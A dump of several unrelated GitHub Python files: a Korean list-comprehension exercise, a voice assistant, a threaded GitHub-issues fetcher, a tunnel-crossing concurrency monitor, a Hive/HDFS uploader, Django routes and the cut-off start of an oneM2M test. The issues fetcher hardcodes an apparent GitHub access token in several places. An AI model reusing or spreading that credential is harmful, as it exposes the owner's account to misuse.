unittest.main()\n","repo_name":"lsst/obs_subaru","sub_path":"tests/test_ingest.py","file_name":"test_ingest.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"}
+{"seq_id":"15976349351","text":"#Chapter7 Excercise\n\n#7.10 리스트 컴프리헨션을 이용하여 range(10)에서 짝수 리스트를 만들어보자\neven_number=[i for i in range(10) if i%2==0]\nprint(even_number)\n\n#7.11 줄넘기 랩 음악을 만들어보자. 일련의 두 줄 리듬을 출력한다. 프로그램의 시작부분은 다음과 같다\nstart1=[\"fee\",\"fie\",\"foe\"]\nrhymes=[\n    (\"flop\",\"get a mop\"),\n    (\"fope\",\"turn the rope\"),\n    (\"fa\",\"get your ma\"),\n    (\"fudge\", \"call the judge\"),\n    (\"fat\",\"pet the cat\"),\n    (\"fog\",\"walk the dog\"),\n    (\"fun\",\"say we're done\"),\n]\nstart2=\"Someone better\"\n\n#rhymes의 각 튜플(첫 번째, 두 번째)에서\n#첫 번째: 1. start1의 각 문자열을 출력한다. 첫 글자를 대문자로 만들고, 각 단어 뒤에 느낌표와 공백을 출력한다.\n#첫 번째: 2. 이어서 rhymes의 첫 번째 문자열의 단어 역시 첫 글자를 대문자로 만들고 대문자를 출력한다.\n\n#두 번째: 1. start2와 공백을 출력한다.\n#두 번째: 2. 두 번째 문자열과 마침표를 출력한다.\n'''\nstart1=[start1[i].capitalize() for i in range(len(start1))]\ndelimiter=\"! \"\nexclamed_start1=delimiter.join(start1)+'! '\nprint(start1)\nprint(exclamed_start1)\n'''\n\nfor (j,k) in rhymes:\n    for i in start1:\n        print(i.capitalize(), end='! ')\n    print(j.capitalize(), end='! \\n')\n    print(start2, end=' ')\n    print(k, end='. \\n')\n\n\n# 다른 방법 zip() 이용하기\ncap_start1=[i.capitalize()+\"! \" for i in start1]\nreal_start1=\" \".join(cap_start1)\nstart2=\"\".join(list(start2))\nfor (j,k) in rhymes:\n    cap_rhymes=[j.capitalize()+\"! \"]\n    stop_rhymes=[k+\". \"]\n    for rhyme1, rhyme2 in zip(cap_rhymes, stop_rhymes):\n        print(real_start1,rhyme1+'\\n'+start2,rhyme2)\n\n\n","repo_name":"NuelboGom/Missions","sub_path":"Chapter7 Excercise.py","file_name":"Chapter7 Excercise.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"22800486553","text":"import pyttsx3\r\nimport datetime\r\nimport speech_recognition as sr\r\nimport wikipedia\r\nimport webbrowser\r\nimport os\r\nimport random\r\n\r\nengine= pyttsx3.init('sapi5')\r\nvoices= engine.getProperty('voices')\r\n# print(voices[1].id)\r\nengine.setProperty('voice',voices[1].id)\r\n\r\n\r\nsearching=['can you tell me something about','can i get information about','can you tell me about','what is','who is']\r\n\r\n\r\n\r\n\r\ndef speak (audio):\r\n    engine.say(audio)\r\n    engine.runAndWait()\r\n\r\ndef wishMe():\r\n    hour=int(datetime.datetime.now().hour)\r\n    if (hour>=0 and hour<12):\r\n        speak('Good Morning!')\r\n    elif (hour>=12 and hour<18):\r\n        speak('Good Afternoon')\r\n    else:\r\n        speak(\"Good Evening\")\r\n    speak(\"Password please\")\r\n    speak(\"If you are a guest then enter anything\")\r\n    Password=int(input())\r\n    if (Password==42001):\r\n        speak(\"Hey Boss!\")\r\n        speak(\"Let's begin\")\r\n    else:\r\n        speak(\"Hey....... I am Jarvis created by CodeFlare\")\r\n        speak(\"Can I know your name\")\r\n        name=takeCommand()\r\n        print(name)\r\n        speak(\"Hello...\"+str(name)+\"....Welcome to the world of Artificial Intelligence\")\r\n        speak(\"How can i help you!\")\r\n\r\n\r\n    \r\n\r\n\r\ndef takeCommand():\r\n#     Takes microphone input from user and gives string output\r\n\r\n    r=sr.Recognizer()\r\n    with sr.Microphone() as source:\r\n        print(\"Listening.....\")\r\n        r.adjust_for_ambient_noise(source)\r\n        r.pause_threshold=2\r\n        # Add somemore types and try different things\r\n        audio=r.listen(source)\r\n\r\n    try:\r\n        print(\"Recognizing.....\")\r\n        query=r.recognize_google(audio,language='en-in')\r\n        # print(f\"User said: {query}\\n\")\r\n\r\n    except Exception as e:\r\n        print(e)\r\n\r\n        print(\"Please say that again.....\")\r\n        return \"None\"\r\n    return query\r\n\r\n\r\ndef wiki(a):\r\n    speak('Searching...')\r\n    results=wikipedia.summary(a,sentences=2)\r\n    speak(\"According to wikipedia...\")\r\n    speak(results)\r\n\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n    wishMe()\r\n    f=0\r\n    a=takeCommand().lower()\r\n    while ('quit' not in a):\r\n        # Conditions\r\n        for value in searching:\r\n            if value in a:\r\n                a=a.replace(value,\"\")\r\n                wiki(a)\r\n                f=1\r\n            else:\r\n                continue\r\n        if 'open google' in a:\r\n            speak('launching')\r\n            path='C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s'\r\n            webbrowser.get(path).open(\"google.com\")\r\n        elif 'open youtube' in a:\r\n            speak('launching')\r\n            webbrowser.open(\"youtube.com\")\r\n        elif 'play music' in a:\r\n            music_dir='D:\\\\Om\\\\Songs'\r\n            songs=os.listdir(music_dir)\r\n            r=random.randint(0,2)\r\n            speak('Playing'+str(songs[r]))\r\n            os.startfile(os.path.join(music_dir,songs[r]))\r\n        elif f==0:\r\n            speak(\"....Sorry this is currently out of my scope....I will add new features soon....\")\r\n        a=takeCommand().lower()\r\n    speak('Shutting down')\r\n","repo_name":"Om4AI/Assistant-with-Python","sub_path":"Jarvis.py","file_name":"Jarvis.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73687863787","text":"# import requests\n# import concurrent.futures\n# import json\n#\n# url = \"https://api.github.com/repos/moby/moby/issues\"\n# querystring = {\"filter\": \"all\", \"per_page\": 30, \"access_token\": \"fa6c840106c750f0f636b75069944d16dd1c1cc9\"}\n# payload = \"\"\n# headers = {\n#     'cache-control': \"no-cache\",\n#     'Postman-Token': \"3b82e2ee-fe4f-4c57-8ea7-901de83c62f3\"\n# }\n#\n# response = requests.request(\"GET\", url, data=payload, headers=headers, params=querystring)\n# results = json.loads(response.text)\n#\n#\n# def load_url(page_no):\n#     querystring[\"page\"] = page_no\n#     response = requests.request(\"GET\", url, data=payload, headers=headers, params=querystring)\n#     return response\n#\n# try:\n#     maximum_number = int(response.headers[\"link\"].split(\"page=\")[-1].split(\">\")[0])\n#     page_numbers = [i + 2 for i in range(maximum_number - 1)]\n#     print(\"++++++++++++++++++++++\")\n#     print(page_numbers)\n#     with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:\n#         future_to_url = {executor.submit(load_url, url): url for url in page_numbers}\n#         for future in concurrent.futures.as_completed(future_to_url):\n#             url = future_to_url[future]\n#             try:\n#                 data = future.result()\n#                 print(len(json.loads(data.text)))\n#             except Exception as exc:\n#                 raise\n#                 resp_err = resp_err + 1\n#             else:\n#                 resp_ok = resp_ok + 1\n# except:raise\n#\n#\n#\n#\ntry:\n    # for python3\n    import queue\n    from urllib.request import urlopen\nexcept:\n    # for python2\n    import Queue as queue\n    from urllib2 import urlopen\n\nimport threading\nimport requests\nimport json\n# worker_data = [2, 3, 4, 5]\nurl = \"https://api.github.com/repos/moby/moby/issues\"\nquerystring = {\"filter\": \"all\", \"per_page\": 30, \"access_token\": \"fa6c840106c750f0f636b75069944d16dd1c1cc9\"}\npayload = \"\"\nheaders = {\n    'cache-control': \"no-cache\",\n    'Postman-Token': \"3b82e2ee-fe4f-4c57-8ea7-901de83c62f3\"\n}\n\nresponse = requests.request(\"GET\", url, data=payload, headers=headers, params=querystring)\nresults = json.loads(response.text)\nmaximum_number = int(response.headers[\"link\"].split(\"page=\")[-1].split(\">\")[0])\npage_numbers = [i + 2 for i in range(maximum_number - 1)][0:10]\n# load up a queue with your data, this will handle locking\nq = queue.Queue()\nfor url in page_numbers:\n    q.put(url)\ntemp = [len(results)]\n\n\n# define a worker function\ndef worker(url_queue):\n    queue_full = True\n    while queue_full:\n        try:\n            url = \"https://api.github.com/repos/moby/moby/issues\"\n            querystring = {\"filter\": \"all\", \"per_page\": 30, \"access_token\": \"fa6c840106c750f0f636b75069944d16dd1c1cc9\"}\n            payload = \"\"\n            headers = {\n                'cache-control': \"no-cache\",\n                'Postman-Token': \"3b82e2ee-fe4f-4c57-8ea7-901de83c62f3\"\n            }\n            # get your data off the queue, and do some work\n            querystring[\"page\"] = url_queue.get(False)\n\n            response = requests.request(\"GET\", url, data=payload, headers=headers, params=querystring)\n            temp.append(len(json.loads(response.text)))\n            print(len(json.loads(response.text)))\n\n        except queue.Empty:\n            queue_full = False\n\n\n# create as many threads as you want\nthread_count = 15\nfor i in range(thread_count):\n    t = threading.Thread(target=worker, args=(q,))\n    t.start()\nprint(temp)\n\n\n\n","repo_name":"chandanmishra-03/github-open-issues","sub_path":"app/dustbin/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"42460125590","text":"def findcommondivisors(a, b):\r\n    divisors_a = finddivisors(a)\r\n    divisors_b = finddivisors(b)\r\n    commondivisors = divisors_a.intersection(divisors_b)\r\n    return commondivisors\r\n\r\ndef finddivisors(num):\r\n    divisors = set()\r\n    for i in range(1, num + 1):\r\n        if num % i == 0:\r\n            divisors.add(i)\r\n    return divisors\r\n\r\n\r\nnum1 = int(input(\"Enter the first number: \\n\"))\r\nnum2 = int(input(\"Enter the second number: \\n\"))\r\n\r\ncommondivisors = findcommondivisors(num1, num2)\r\nprint(\"Common divisors:\", commondivisors)\r\n","repo_name":"abushahrukh/PythonProjects","sub_path":"Common Divisor.py","file_name":"Common Divisor.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"2294215802","text":"\"\"\"\nSolution to the one-way tunnel\nLUCÍA ROLDÁN RODRÍGUEZ.\nVERSIÓN 3 DEFINITIVA. Cumple la seguridad y hay ausencia de deadlock e inanición.\nEl hecho de que los peatones tarden más en cruzar formará filas más largas de coches \nesperando, pero todos eventualmente cruzarán. La demostración formal de las tres condiciones, \nasí como la especificación del invariante se encuentra en el archivo de LATEX del repositorio.\n\"\"\"\nimport time\nimport random\nfrom multiprocessing import Lock, Condition, Process\nfrom multiprocessing import Value\n\n#directions\nSOUTH = 1\nNORTH = 0\n\nNCARS = 100\nNPED = 10\nTIME_CARS_NORTH = 0.5  # a new car enters each 0.5s\nTIME_CARS_SOUTH = 0.5  # a new car enters each 0.5s\nTIME_PED = 5 # a new pedestrian enters each 5s\nTIME_IN_BRIDGE_CARS = (1, 0.5) # normal 1s, 0.5s\nTIME_IN_BRIDGE_PEDESTRIAN = (30, 10) # normal 1s, 0.5s\n\nclass Monitor():\n    def __init__(self):\n        self.mutex = Lock()\n        \n        self.cn = Value('i', 0) # Número de coches en sentido norte dentro del puente.\n        self.cs = Value('i', 0) # Número de coches en sentido sur dentro del puente.\n        self.ped = Value('i', 0) # Número de peatones dentro del puente.\n        \n        self.cn_waiting = Value('i',0) # Número de coches en sentido norte esperando a entrar.\n        self.cs_waiting = Value('i',0) # Número de coches en sentido sur esperando a entrar.\n        self.ped_waiting = Value('i',0) # Número de peatones esperando a entrar.\n        \n        self.turn = Value('i',0)  #Turnos de paso.\n        # Turno = 0 marca preferencia de paso a los coches en sentido norte.\n        # Turno = 1 marca preferencia de paso a los coches en sentido sur.\n        # Turno = 2 marca preferencia de paso a los peatones.\n        \n        self.nocars = Condition(self.mutex) # Condición que regula el paso de peatones.\n        self.nocn_noped = Condition(self.mutex) # Condición que regula el paso de coches en sentido sur.\n        self.nocs_noped = Condition(self.mutex) # Condición que regula el paso de coches en sentido norte.\n        \n    def carnoth_mayenter(self):\n        return (self.cs.value == 0) and (self.ped.value == 0) and\\\n                (self.turn.value == 0 or (self.cs_waiting.value == 0 and self.ped_waiting.value == 0))\n    def carsouth_mayenter(self):\n        return (self.cn.value == 0) and (self.ped.value == 0) and\\\n                (self.turn.value == 1 or (self.cn_waiting.value == 0 and self.ped_waiting.value == 0))\n    def pedestrian_mayenter(self):\n        return (self.cs.value == 0) and (self.cn.value == 0) and\\\n                (self.turn.value == 2 or (self.cn_waiting.value == 0 and self.cs_waiting.value == 0))\n                \n    def wants_enter_car(self, direction: int) -> None:\n        self.mutex.acquire()\n        \n        if direction == 0:\n            self.cn_waiting.value += 1\n            self.nocs_noped.wait_for(self.carnoth_mayenter)\n            self.cn_waiting.value -= 1\n            self.cn.value += 1            \n            \n        else:\n            self.cs_waiting.value += 1\n            self.nocn_noped.wait_for(self.carsouth_mayenter)\n            self.cs_waiting.value -= 1\n            self.cs.value += 1\n            \n        self.mutex.release()\n\n    def leaves_car(self, direction: int) -> None:\n        \n        self.mutex.acquire()\n        \n        if direction == 0:\n            self.cn.value -= 1\n            if self.cs_waiting.value > 0:\n                self.turn.value = 1\n                if self.cn.value == 0 :\n                    self.nocn_noped.notify_all()\n            else:\n                if self.ped_waiting.value >0:\n                    self.turn.value = 2\n                    if self.cn.value == 0 :\n                        self.nocars.notify_all()\n                else:\n                    self.turn.value = 0\n                \n            \n        else:\n            self.cs.value -= 1\n            if self.ped_waiting.value >0:\n                self.turn.value = 2\n                if self.cs.value == 0 :\n                    self.nocars.notify_all()\n            else:\n                if self.cn_waiting.value >0:\n                    self.turn.value = 0\n                    if self.cs.value == 0 :\n                        self.nocs_noped.notify_all()\n                else:\n                    self.turn.value = 1\n        self.mutex.release()\n\n    def wants_enter_pedestrian(self) -> None:\n        self.mutex.acquire()\n        self.ped_waiting.value += 1\n        self.nocars.wait_for(self.pedestrian_mayenter)\n        self.ped_waiting.value -= 1\n        self.ped.value += 1\n        self.mutex.release()\n\n    def leaves_pedestrian(self) -> None:\n        self.mutex.acquire()\n        self.ped.value -= 1\n        if self.cn_waiting.value >0:\n            self.turn.value = 0\n            if self.ped.value == 0:\n                self.nocs_noped.notify_all()\n        else:\n            if self.cs_waiting.value >0:\n                self.turn.value = 1\n                if self.ped.value == 0:\n                    self.nocn_noped.notify_all()\n            else:\n                    self.turn.value = 2\n        self.mutex.release()\n\n    def __repr__(self) -> str:\n        return  f\"M : <cnor:{self.cn.value}, csur:{self.cs.value}, pedestrian:{self.ped.value}, cnor_waiting:{self.cn_waiting.value}, csur_waiting:{self.cs_waiting.value}, pedestrian_waiting:{self.ped_waiting.value},  turn:{self.turn.value}>\"\n\ndef delay_car_north() -> None:\n    a = random.normalvariate(1,0.5)\n    time.sleep(max(a,.0))\n\ndef delay_car_south() -> None:\n    a = random.normalvariate(1,0.5)\n    time.sleep(max(a,.0))\n\ndef delay_pedestrian() -> None:\n    time.sleep(random.normalvariate(30,10))\n\ndef car(cid: int, direction: int, monitor: Monitor)  -> None:\n    print(f\"car {cid} heading {direction} wants to enter. {monitor}\")\n    monitor.wants_enter_car(direction)\n    print(f\"car {cid} heading {direction} enters the bridge. {monitor}\")\n    if direction==NORTH :\n        delay_car_north()\n    else:\n        delay_car_south()\n    print(f\"car {cid} heading {direction} leaving the bridge. {monitor}\")\n    monitor.leaves_car(direction)\n    print(f\"car {cid} heading {direction} out of the bridge. {monitor}\")\n\ndef pedestrian(pid: int, monitor: Monitor) -> None:\n    print(f\"pedestrian {pid} wants to enter. {monitor}\")\n    monitor.wants_enter_pedestrian()\n    print(f\"pedestrian {pid} enters the bridge. {monitor}\")\n    delay_pedestrian()\n    print(f\"pedestrian {pid} leaving the bridge. {monitor}\")\n    monitor.leaves_pedestrian()\n    print(f\"pedestrian {pid} out of the bridge. {monitor}\")\n\n\n\ndef gen_pedestrian(monitor: Monitor) -> None:\n    pid = 0\n    plst = []\n    for _ in range(NPED):\n        pid += 1\n        p = Process(target=pedestrian, args=(pid, monitor))\n        p.start()\n        plst.append(p)\n        time.sleep(random.expovariate(1/TIME_PED))\n\n    for p in plst:\n        p.join()\n\ndef gen_cars(direction: int, time_cars, monitor: Monitor) -> None:\n    cid = 0\n    plst = []\n    for _ in range(NCARS):\n        cid += 1\n        p = Process(target=car, args=(cid, direction, monitor))\n        p.start()\n        plst.append(p)\n        time.sleep(random.expovariate(1/time_cars))\n\n    for p in plst:\n        p.join()\n\ndef main():\n    monitor = Monitor()\n    gcars_north = Process(target=gen_cars, args=(NORTH, TIME_CARS_NORTH, monitor))\n    gcars_south = Process(target=gen_cars, args=(SOUTH, TIME_CARS_SOUTH, monitor))\n    gped = Process(target=gen_pedestrian, args=(monitor,))\n    gcars_north.start()\n    gcars_south.start()\n    gped.start()\n    gcars_north.join()\n    gcars_south.join()\n    gped.join()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"LuciaaRoldan/PRACTICA2-PUENTE-DE-AMBITE","sub_path":"practica2_version3_definitiva.py","file_name":"practica2_version3_definitiva.py","file_ext":"py","file_size_in_byte":7617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14102931133","text":"import os; os.chdir(os.path.dirname(__file__)) if os.name == \"posix\" else None\nfrom package.common.database.hiveCtrl import HiveCtrl\nfrom package.common.database.hdfsCtrl import HDFSCtrl\nfrom package.common.database.sqlTool import SqlTool\nfrom dotenv import load_dotenv\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\n\nload_dotenv(dotenv_path=\"env/hive.env\")\nhiveCtrl = HiveCtrl(\n    host=os.getenv(\"HIVE_HOST\")\n    , port=int(os.getenv(\"HIVE_PORT\"))\n    , user=os.getenv(\"HIVE_USER\")\n    , password=os.getenv(\"HIVE_PASS\")\n    , database='default'\n    , auth_mechanism='PLAIN'\n)\nload_dotenv(dotenv_path=\"env/hdfs.env\")\nhdfsCtrl = HDFSCtrl(\n      url=os.getenv(\"HDFS_HOST\")\n    , user=os.getenv(\"HDFS_USER\")\n    , password=os.getenv(\"HDFS_PASSWD\")\n    , filePath=os.getenv(\"HDFS_PATH\")\n)\n\n\ndef getfileName(keyword, dirList):\n    return [s for s in dirList if s.find(keyword) >0][0]\n\ndef getFileDF(path, fileName , sheetNo = 0 ):\n    filePath = path + '/' +fileName\n    if fileName.split('.')[-1] in ('xlsx', 'xls'):\n        df = pd.read_excel(filePath,sheet_index = sheetNo )\n    else:\n        df = pd.read_csv(filePath)\n    return df\n\ndef getNewCol(tableName):\n    \n    colList =  [f'c{i+1}' for i in range(15)] +\\\n        [f'u{i+1}' for i in range(15)] +\\\n        [f's{i+1}' for i in range(20)] +\\\n        [f'd{i+1}' for i in range(20)] +\\\n        [f't{i+1}' for i in range(3)] +\\\n        [f'o{i+1}' for i in range(10)] \n    replacement ={}\n    if tableName == 'commodity':\n        return  ['c1','c2','c3','c4','c5',\n                   'c6','table_version','ItemID','Name','SN',\n                   'c11','c12','c13','c14','c15',\n                   \n                   'Count','Price','Bonus','Period','Priority',\n                   'reqPOP', 'ReqLEV', 'Gender', 'OnSale', 'MaplePoint',\n                   'Meso', 'Premium', 'Class', 'Limit', 'Status',\n                   \n                   'TermStart','TermEnd', 'BombSale', 'Forced\\nCategory', 'Forced\\nSubCategory', \n                   'GameWorld(구분자:\"/\")', 'LimitMax','LimitQuestID', 'OriginalPrice', 'Discount', \n                   'MileageRate', 'zero', 'CouponType', 'onlyMileage', 'ShowDiscount', \n                   'update ver', 'comment', 's18', 's19', 's20'\n                   \n                   'd1','d2','d3','d4','d5',\n                   'd1','d7','d8','d9','d10',\n                   'd11','d12','d13','d14','d15',\n                   'd11','d17','d18','d19','d20',\n                   'T1','T2', 'T3',\n                   \n                   '報表分類', '扣點分類', '上市時間', '大分類', '小分類',\n                   '備註', 'Price.1', '活動', 'season', 'o10' ] \n    if tableName == 'itemID':\n        replacement = {'u1' : 'ItemID', \n                       's1' : 'ItemName', \n                       'c7' :'table_version',\n                       'c8' : 'ItemID', \n                       'c9' : 'ItemName'}\n        \n    if tableName == 'fashionBox':\n        replacement = { 'c7' :'table_version',\n                        'c8' : 'ItemID', \n                        'c9' : 'Name', \n                        'c10': 'Part_cht',\n                        'd1' : 'Prob.',\n                        't1' : 'Date',\n                        't2' : 'endDate',\n                        's1' : '大師標籤',     's2' : 'IP合作',   's3' : '漂浮特效',   's4' : '暗色系',   's5' : '螢光系', \n                        's6' : '柔和色系',     's7' : '可愛風格',   's8' : '制服風格',   's9' : '貴族風格',   's10' : '動物風格',  \n                        's11' : '怪物風格',     's12' : '角色風格',   's13' : '自然風格',   's14' : '重裝風格',   's15' : '運動風格', \n                        's16' : '搞怪風格',     's17' : '不擋身/腿',   's18' : '不擋住名字',   's19' : '渲染特效', \n                        'o1': 'KR Name',\n                        'o2': 'Part'\n                       \n                       }\n\n    return [ replacement.get(n,n) for n in  colList]\n\ndef uploadTable(tableName,outputFileName):\n    game = 'maple'\n    \n    tableNumberDict = {'commodity':  '16091',\n                       'itemID':  '13091',\n                       'fashionBox':  '16092',\n                       }\n    tablenumber = tableNumberDict[tableName]\n    d_str = dt.datetime.now().strftime('%Y%m%d')\n    \n    hdfsdPath = f'/user/GTW_PD/DB/ModelExtract/modelextract/game={game}/dt={d_str}/world=COMMON/tablenumber={tablenumber}/'\n    hdfsCtrl.upload(hdfsdPath + tableName,outputFileName)\n    \n    \n    partition = f\"game='{game}', dt='{d_str}', world = 'COMMON', tablenumber = '{tablenumber}'\"\n    dropPartitionSql = f\"ALTER TABLE gtwpd.modelextract_modelextract DROP IF EXISTS PARTITION ({partition})\"\n    alterPartitionSql = f\"ALTER TABLE gtwpd.modelextract_modelextract ADD IF NOT EXISTS PARTITION ({partition}) LOCATION '{hdfsdPath}'\"\n    hiveCtrl.executeSQL(dropPartitionSql)\n    hiveCtrl.executeSQL(alterPartitionSql)\n    print(f\"{tableName} have uploaded to {hdfsdPath} \")\n    return\n\n\ndef CommdityMain(parametersData = {}):\n    \n    path = 'others/maple_tables/files/'\n    outputPath = 'others/maple_tables/upload/'\n    tableName = 'commodity'\n\n    dirList = [dr.lower() for dr in os.listdir(path)]\n    dir_names = max(dirList )\n    fileList = [dr.lower() for dr in os.listdir( path + dir_names)]     \n    sheetNo = 1 \n\n    outputFileName = outputPath + f'{tableName}.csv'\n        \n    #找出commodity\n    fileName = getfileName( 'commodity', dirList = fileList)\n    df = getFileDF(path = path + dir_names, fileName =  fileName, sheetNo =  sheetNo )\n    df['table_version'] = dir_names\n    \n    df_out = df.reindex(columns = getNewCol(tableName))\n    \n    df_out.to_csv(outputFileName,sep = '\\t',header = None , index = None, float_format= '%.0f')    \n    # 上傳\n    uploadTable(tableName,outputFileName)\n\n    \n\ndef ItemIDMain(parametersData = {}):\n    \n    path = 'others/maple_tables/files/'\n    outputPath = 'others/maple_tables/upload/'    \n    \n    tableName = 'itemID'\n    outputFileName = outputPath + f'{tableName}.csv'\n    \n    dirList = [dr.lower() for dr in os.listdir(path)]\n    dir_names = max(dirList )\n    fileList = [dr.lower() for dr in os.listdir( path + dir_names)] \n        \n    #找出道具編號表\n    fileName = getfileName('道具編號',fileList)\n    sheetNo = 0 \n    df = getFileDF(path = path + dir_names, fileName =  fileName, sheetNo =  sheetNo )\n    df['table_version'] = dir_names\n    \n    df_out = df.reindex(columns = getNewCol(tableName))\n    \n    df_out.to_csv(outputFileName,sep = '\\t',header = None , index = None, float_format= '%.0f')\n\n    \n    # 上傳\n    uploadTable(tableName,outputFileName)\n\n    \ndef FashionBoxMain(parametersData = {}):\n    \n    path = 'others/maple_tables/files/'\n    outputPath = 'others/maple_tables/upload/'\n    \n    tableName = 'fashionBox'\n    outputFileName = outputPath + f'{tableName}.csv'\n    \n    dirList = [dr.lower() for dr in os.listdir(path)]\n    dir_names = max(dirList )\n    fileList = [dr.lower() for dr in os.listdir( path + dir_names)] \n    \n    \n    \n    fileName = getfileName('時裝',fileList)\n    sheetNo = 0\n    df = getFileDF(path = path + dir_names, fileName =  fileName, sheetNo =  sheetNo )\n    df['table_version'] = dir_names\n    \n    \n    dateTable = df['Date'].unique()\n\n    dateDF= pd.DataFrame({'Date':dateTable,'endDate':list(dateTable[1:]) + [dateTable[-1] +np.timedelta64(14,'D')]})\n    df['Date'].dtype\n    \n    df = pd.merge(df,dateDF,on ='Date')\n    \n    \n    partTable = df['Part'].unique()\n    partDF= pd.DataFrame({'Part':partTable ,'Part_cht':['帽子','連體衣','鞋子','披風','武器','臉飾','戒指','手套','眼飾','耳飾','披風']})\n    df = pd.merge(df,partDF,on ='Part')\n    \n    \n    df[df.columns[7:26]] = df[df.columns[7:26]].fillna(0).replace('V',1)\n    df_out = df.reindex(columns = getNewCol(tableName))\n    \n    df_out.to_csv(outputFileName,sep = '\\t',header = None , index = None,\n                  float_format= '%.4f', date_format = '%Y-%m-%d %T')\n\n    \n    # 上傳\n    uploadTable(tableName,outputFileName)\n\n    \n    \nif __name__ == \"__main__\":\n    CommdityMain()\n    ItemIDMain()\n    FashionBoxMain()\n","repo_name":"GISH123/GamaProjects","sub_path":"modelextract-master/others/maple_tables/runALL.py","file_name":"runALL.py","file_ext":"py","file_size_in_byte":8183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41663186186","text":"def pad_string(characters,direction,amount):\n\n    if len(characters) > amount:\n        return characters\n        \n    amount = int(amount)\n    amount  = amount - len(characters)\n    if direction == 'left':\n #       print(\"'\",end='')\n        for i in range(amount):\n            print(f\"{i}\",end='')\n            print(\" \", end='')\n        print(f\"{characters}\")\n\n    if direction == 'right':\n  #      for i in range(amount):\n  #          print(\"'\",end='')\n        print(characters + \" \" * amount, end='')\n\ndef pad_left(characters,amount):\n    pad_string(characters,'left',amount)\n\ndef pad_right(characters,amount):\n    pad_string(characters,'right',amount)\n\n\n\na = [\"Add\",\"Delete\",\"List\"]\nb   = [\"Add to List\",\"Delete information\",\"List information\"]\n\nfor command,descr in zip(a,b):  \n    \n    #Print command\n    if len(command) > 10:\n        print(command,end='')\n    else:\n        pad_right(command,10)\n\n    #Print description\n    if len(descr) > 10:\n        print(descr,end='')\n    else:\n        pad_left(descr,10)\n\n    #Print newline\n    print()                         ","repo_name":"Steinshark/ReinforcementLearning","sub_path":"scratch1.py","file_name":"scratch1.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26661077771","text":"from django.conf.urls import patterns, url\n\n\nurlpatterns = patterns(\n    '',\n\n    # users\n    url(r'^user/lists/?', 'sync.api.users.views.get_user_lists', name='user lists'),\n    url(r'^user/login/?', 'sync.api.users.views.login_user', name=\"login\"),\n    url(r'^user/?', 'sync.api.users.views.user', name='user'),\n\n    # list tasks\n    url(r'^lists/(\\d+)/tasks/(\\d+)/?', 'sync.api.tasks.views.task_id', name='task id'),\n    url(r'^lists/(\\d+)/tasks/?', 'sync.api.tasks.views.task', name='task'),\n\n    # lists\n    url(r'^lists/(\\d+)/share/?', 'sync.api.lists.views.list_share', name='list share'),\n    url(r'^lists/(\\d+)/users/?', 'sync.api.lists.views.get_list_users', name='list users'),\n    url(r'^lists/(\\d+)/?', 'sync.api.lists.views.list_id', name='list id'),\n    url(r'^lists/?', 'sync.api.lists.views.create_list', name='create list'),\n)\n","repo_name":"MitchStephan/Sync-Lists","sub_path":"Web/SyncLists/sync/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"35192436922","text":"#\n#\ttestAddressing.py\n#\n#\t(c) 2020 by Andreas Kraft\n#\tLicense: BSD 3-Clause License. See the LICENSE file for further details.\n#\n#\tUnit tests for addressing methods\n#\n\nimport unittest, sys\nif '..' not in sys.path:\n\tsys.path.append('..')\nfrom typing import Tuple\nfrom acme.etc.Types import ResourceTypes as T, ResponseStatusCode as RC\nfrom init import *\n\n\nclass TestAddressing(unittest.TestCase):\n\n\tae \t\t\t= None\n\toriginator \t= None\n\tcnt\t\t\t= None\n\tcntRI \t\t= None\n\n\n\t@classmethod\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef setUpClass(cls) -> None:\n\t\ttestCaseStart('Setup TestAddressing')\n\t\tdct = \t{ 'm2m:ae' : {\n\t\t\t\t\t'rn'  : aeRN, \n\t\t\t\t\t'api' : APPID,\n\t\t\t\t \t'rr'  : True,\n\t\t\t\t \t'srv' : [ RELEASEVERSION ]\n\t\t\t\t}}\n\t\tcls.ae, rsc = CREATE(cseURL, 'C', T.AE, dct)\t# AE to work under\n\t\tassert rsc == RC.CREATED, 'cannot create parent AE'\n\t\tcls.originator = findXPath(cls.ae, 'm2m:ae/aei')\n\t\tdct = \t{ 'm2m:cnt' : { \n\t\t\t\t\t'rn'  : cntRN\n\t\t\t\t}}\n\t\tcls.cnt, rsc = CREATE(aeURL, cls.originator, T.CNT, dct)\n\t\tassert rsc == RC.CREATED, 'cannot create container'\n\t\tcls.cntRI = findXPath(cls.cnt, 'm2m:cnt/ri')\n\t\ttestCaseEnd('Setup TestAddressing')\n\n\n\t@classmethod\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef tearDownClass(cls) -> None:\n\t\tif not isTearDownEnabled():\n\t\t\treturn\n\t\ttestCaseStart('TearDown TestAddressing')\n\t\tDELETE(aeURL, ORIGINATOR)\t# Just delete the AE and everything below it. Ignore whether it exists or not\n\t\ttestCaseEnd('TearDown TestAddressing')\n\n\n\tdef setUp(self) -> None:\n\t\ttestCaseStart(self._testMethodName)\n\t\n\n\tdef tearDown(self) -> 